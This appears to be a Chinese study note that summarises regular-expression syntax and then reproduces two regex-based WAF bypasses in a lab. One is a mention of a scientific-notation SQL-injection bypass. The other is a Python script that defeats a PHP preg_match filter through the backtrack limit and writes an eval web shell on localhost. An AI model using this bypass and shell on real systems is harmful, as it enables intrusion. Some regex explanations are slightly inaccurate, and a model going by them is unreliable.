1.总结正则表达式知识点
基础知识点
使用正则表达式,可以有效的筛选出需要的文本,然后结合相应的支持的工具或语言,完成任务需求。
Ⅰ匹配字符
. 匹配任意单个字符,不能匹配空行
[] 匹配指定范围内的任意单个字符
[^] 取反
[:alnum:] 或 [0-9a-zA-Z]
[:alpha:] 或 [a-zA-Z]
[:upper:] 或 [A-Z]
[:lower:] 或 [a-z]
[:blank:] 空白字符(空格和制表符)
[:space:] 水平和垂直的空白字符(比[:blank:]包含的范围广)
[:cntrl:] 不可打印的控制字符(退格、删除、警铃...)
[:digit:] 十进制数字 或[0-9]
[:xdigit:]十六进制数字
[:graph:] 可打印的非空白字符
[:print:] 可打印字符
[:punct:] 标点符号
Ⅱ匹配次数
- * 匹配前面的字符任意次,**包括0次**,贪婪模式:尽可能长的匹配
- .* 任意前面长度的任意字符,**不包括0次**
- \? 匹配其前面的字符**0 或 1次**
- \+ 匹配其前面的字符**至少1次**
- \{n\} 匹配前面的字符n次
- \{m,n\} 匹配前面的字符至少m 次,至多n次
- \{,n\} 匹配前面的字符至多n次
- \{n,\} 匹配前面的字符至少n次
Ⅲ位置确定:定位出现的位置
- ^ 行首锚定,用于模式的最左侧
- $ 行尾锚定,用于模式的最右侧
- ^PATTERN$,用于模式匹配整行
- ^$ 空行
- ^[[:space:]].*$ 空白行
- \< 或 \b 词首锚定,用于单词模式的左侧
- \> 或 \b 词尾锚定;用于单词模式的右侧
- \<PATTERN\>
Ⅳ分组和后向引用
分组:() 将一个或多个字符捆绑在一起,当作一个整体进行处理
分组括号中的模式匹配到的内容会被正则表达式引擎记录于内部的变量中,这些变量的命名方式为: \1, \2, \3, ...
后向引用
引用前面的分组括号中的模式所匹配字符,而非模式本身
\1 表示从左侧起第一个左括号以及与之匹配右括号之间的模式所匹配到的字符
\2 表示从左侧起第2个左括号以及与之匹配右括号之间的模式所匹配到的字符,以此类推
& 表示前面的分组中所有字符
元字符
\d 数字
\D 非数字
\w [a-zA-Z0-9_]
\W \n\t\r#$%^&&空格
\s \n\t\r空格 不匹配特殊字符
\S 匹配非空字符
. 除了\n以外的所有字符
\d 就是数字概括字符集 \d
\D 非数字 \D
\d 也可以用字符集表示[0-9]
\D 也可以用字符集表示[^0-9]
\w 表示字母数字,也就是单词字符
\w 字符集表示[A-Za-z0-9_]
\W 匹配非单词字符\n\r\t#$%^空格
\s 匹配\n\r\t空格 匹配空白字符 不包括%$#特殊字符
\S 匹配非空白字符
. 表示匹配除换行符\n以外的所有字符
贪婪匹配和非贪婪匹配
**贪婪匹配:**正则表达式通常的行为是匹配尽可能多的字符,比如这个表达式:a.*b,它将会匹配最长的以a开始,以b结束的字符串,如果用它来搜索aabab的话,它会匹配整个字符串aabab
**懒惰匹配:**就是匹配尽可能少的字符,在能使整个匹配成功的前提下使用最少的重复,只要在它后面加上一个问号?即可,例如a.*?b匹配最短的,以a开始,以b结束的字符串,如果把它应用于 aabab的话,它会匹配aab和ab,为什么第一个匹配是aab(第一到第三个字符)而不是ab(第二到第三个字符)?简单地说,因为正则表达式有一条比懒惰/贪婪规则优先级更高的规则,就是:最先开始的匹配拥有最高的优先权
默认是贪婪匹配,取消默认只需要在后加?
断言
断言又有很多种叫法,比如环视,巡视,断言一共分为四种
先行肯定断言 x(?=y) 匹配x仅仅当x后面跟着y
后行肯定断言 (?<=y)x 匹配x仅仅当x前面是y
先行否定断言 x(?!y) 仅仅当x后面不跟着y时匹配x
后行否定断言 (?<!y)x 仅仅当x前面不是y时匹配x
如果涉及到?<=或者?=这样的正则表达式,group(0)并不会匹配到所有的元素,而是匹配到中间没有括号的内容
如果不涉及?<=一类的正则表达式时,group(0)可以匹配所有内容
2.将正则表达式与绕过案例复现
案例1 科学计数法绕waf
靶场 sql-labs第一关加waf
if(preg_match('/select\b[\s\S]*\bfrom/is',$id)) {
die('sql injection')
}
案例2 PHP利用回溯次数限制绕过某些安全限制
<?php
$input = $_POST['file'];
// var_dump(ini_get('pcre.backtrack_limit'));
if(!is_php($input)) {
$file = fopen("test.php","w");
fwrite($file, $input);
}
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit
。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));
的方式查看当前环境下的上限:
waf
preg_match('/<\?.*[(`;?>].*/is', $data);
脚本
import requests
files = {
'file' : 'aaa<?php eval($_POST[txt]);//' + 'a' * 1000000
}
res = requests.post('http://127.0.0.1/test/index.php', data=files)
print(res.headers)
执行之后明显看到
生成test.php文件
成功执行,一句话木马也被写入